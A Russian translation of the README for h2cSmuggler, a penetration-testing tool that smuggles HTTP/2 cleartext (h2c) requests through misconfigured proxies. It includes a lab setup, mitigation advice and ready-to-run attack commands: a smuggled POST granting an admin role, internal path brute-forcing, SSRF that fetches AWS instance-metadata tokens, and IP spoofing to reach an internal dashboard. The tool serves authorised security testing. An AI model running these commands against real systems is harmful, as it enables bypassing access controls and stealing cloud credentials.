
HTTP Request Smuggling через HTTP/2 Cleartext (h2c)
h2cSmuggler — это инструмент, который контрабандой проводит HTTP-трафик через небезопасные конфигурации proxy_pass периметральных серверов, устанавливая соединения HTTP/2 в открытом виде (h2c) с совместимыми с h2c серверами, что позволяет обходить правила прокси и контроль доступа.
Подробный разбор см. ниже в статье:
Здесь: https://labs.bishopfox.com/tech-blog/h2c-smuggling-request-smuggling-via-http/2-cleartext-h2c
Любая конечная точка прокси, которая передает заголовки обновления h2c, может быть затронута. Поскольку h2c предназначен для выполнения только по открытым каналам, обнаружение на HTTPS-сервисах часто дает истинно положительные результаты.
Напротив, HTTP-сервисы могут давать ложноположительные результаты. Например, прокси с поддержкой h2c могут ответить на обновление вместо того, чтобы переслать его на сервер с h2c.
Используйте опцию --scan-list для тестирования одного или нескольких веб-серверов на наличие уязвимых конечных точек proxy_pass. Рекомендуется использовать список каталогов, полученных при переборе каталогов, например:
urls.txt
https://www.example.com/
https://www.example.com/api/
https://www.example.com/auth/
https://www.example.com/admin/
https://www.example.com/payments/
...omitted for brevity...
Запустите h2cSmuggler со списком конечных точек и общим количеством потоков:
./h2csmuggler.py --scan-list urls.txt --threads 5
Или можно выполнить индивидуальный тест с помощью:
./h2csmuggler.py -x https://www.example.com/api/ --test
После того как вы определили уязвимую конечную точку, которую можно использовать для туннелирования, вы можете получить доступ к внутренним конечным точкам на сервере или перебирать их, а также передавать собственные глаголы или заголовки. В демонстрации ниже мы показываем доступ к внутренней конечной точке /flag с помощью контрабанды h2c для обхода запрещающих правил прокси.
Для устранения уязвимости не передавайте пользовательские значения для заголовков Upgrade или Connection. Дополнительные рекомендации см. в технической статье.
Единственная зависимость — библиотека Python hyper-h2:
pip3 install h2
Тестовое окружение позволит вам поэкспериментировать с h2cSmuggler в контролируемой среде. docker-compose смоделирует три цепочки прокси, ведущих к серверу на Go с поддержкой h2c:
TCP port: Description
======== ===========
8000: HTTP h2c backend
8001: HAProxy -> h2c backend (Insecure default configuration)
8002: nginx -> h2c backend (Insecure custom configuration)
8003: Nuster -> HAProxy -> h2c backend (Insecure configuration with multiple layers of proxies)
[1] Сгенерируйте сертификаты и запустите окружение с помощью docker-compose:
# Generate certs
./configs/generate-certificates.sh
# Activate services
docker-compose up
Все прокси запрещают доступ к конечной точке /flag, доступной на сервере с h2c. Попробуем получить доступ к запрещенной конечной точке через сервер HAProxy, работающий на порту 8001:
Мы можем использовать h2cSmuggler для подтверждения небезопасной конфигурации прокси с помощью --test (или -t):
Теперь давайте используем h2cSmuggler для выполнения обновления h2c, туннелирования нашего HTTP/2-трафика через прокси и запроса конечной точки /flag с сервера, минуя контроль доступа прокси:
Для более подробного объяснения происходящего обратитесь к технической статье.
h2cSmuggler использует знакомый синтаксис, подобный curl, для описания контрабандного запроса:
usage: h2csmuggler.py [-h] [--scan-list SCAN_LIST] [--threads THREADS] [--upgrade-only] [-x PROXY] [-i WORDLIST] [-X REQUEST] [-d DATA] [-H HEADER] [-m MAX_TIME] [-t] [-v]
[url]
Detect and exploit insecure forwarding of h2c upgrades.
positional arguments:
url
optional arguments:
-h, --help show this help message and exit
--scan-list SCAN_LIST
list of URLs for scanning
--threads THREADS # of threads (for use with --scan-list)
--upgrade-only drop HTTP2-Settings from outgoing Connection header
-x PROXY, --proxy PROXY
proxy server to try to bypass
-i WORDLIST, --wordlist WORDLIST
list of paths to bruteforce
-X REQUEST, --request REQUEST
smuggled verb
-d DATA, --data DATA smuggled data
-H HEADER, --header HEADER
smuggled headers
-m MAX_TIME, --max-time MAX_TIME
socket timeout in seconds (type: float; default 10)
-t, --test test a single proxy server
-v, --verbose
1. Сканирование списка URL (например, https://example.com:443/api/, https://example.com:443/payments, https://sub.example.com:443/) для выявления конечных точек proxy_pass, подверженных контрабанде (будьте осторожны с количеством потоков при тестировании одного сервера):
./h2csmuggler.py --scan-list urls.txt --threads 5
Или перенаправьте вывод в файл. Используйте stderr (2>) и stdout (1>). Поток stderr содержит ошибки (например, проблемы с рукопожатием SSL/таймаутом), а stdout — результаты.
./h2csmuggler.py --scan-list urls.txt --threads 5 2>errors.txt 1>results.txt
2. Отправка контрабандного POST-запроса через https://edgeserver внутренней конечной точке:
./h2csmuggler.py -x https://edgeserver -X POST -d '{"user":128457 "role": "admin"}' -H "Content-Type: application/json" -H "X-SYSTEM-USER: true" http://backend/api/internal/user/permissions
3. Перебор внутренних конечных точек (с использованием мультиплексирования HTTP/2), где dirs.txt представляет собой список путей (например, /api/, /admin/).
/h2csmuggler.py -x https://edgeserver -i dirs.txt http://localhost/
4. Эксплуатация SSRF через заголовок Host с помощью контрабанды h2c (например, AWS metadata IMDSv2):
Получение токена:
./h2csmuggler.py -x https://edgeserver -X PUT -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" http://169.254.169.254/latest/api/token`
Передача токена:
./h2csmuggler.py -x https://edgeserver -H "x-aws-ec2-metadata-token: TOKEN" http://169.254.169.254/latest/meta-data/
5. Подмена IP-адреса с помощью заголовка X-Forwarded-For для доступа к внутренней панели управления:
./h2csmuggler.py -x https://edgeserver -H "X-Forwarded-For: 127.0.0.1" -H "X-Real-IP: 172.16.0.1" http://backend/system/dashboard
В: Почему от сервера приходит несколько ответов? О: Первый ответ — это ответ на исходный запрос обновления, инициированный в HTTP/1.1, согласно протоколу обновления h2c. Последующие ответы — от контрабандного запроса.
В: Я получил "101 Switching Protocols", но не получаю никаких данных с удаленного сервера. О: Я наблюдал такое поведение в своих тестах и обнаружил, что некоторые серверы отвечают статусом 101, даже если на самом деле не поддерживают HTTP/2.
В: Всегда ли установка туннеля h2c является уязвимостью? О: Нет. Рассмотрим TCP-балансировщик нагрузки с завершением TLS (например, ELB), проксирующий напрямую к совместимому с h2c серверу. Хотя вы можете установить соединение h2c, если не применяются никакие средства контроля доступа, то нечего и обходить, и привилегии от создания этого туннеля не будет.
В: Почему URI контрабандного запроса требует схему? Для чего она используется?
О: Протокол HTTP/2 требует псевдозаголовок :scheme. В нашем случае разница между http и https, вероятно, не имеет значения. Подробнее см. HTTP/2 RFC: Section 8.1.2.3.
В: Что использовать в качестве имени хоста для сервера? О: Лучше всего начать с того же имени хоста, что и у периметрального сервера. Затем попробуйте поэкспериментировать с альтернативными значениями имени хоста.
Twitter: @theBumbleSec
GitHub: the-bumble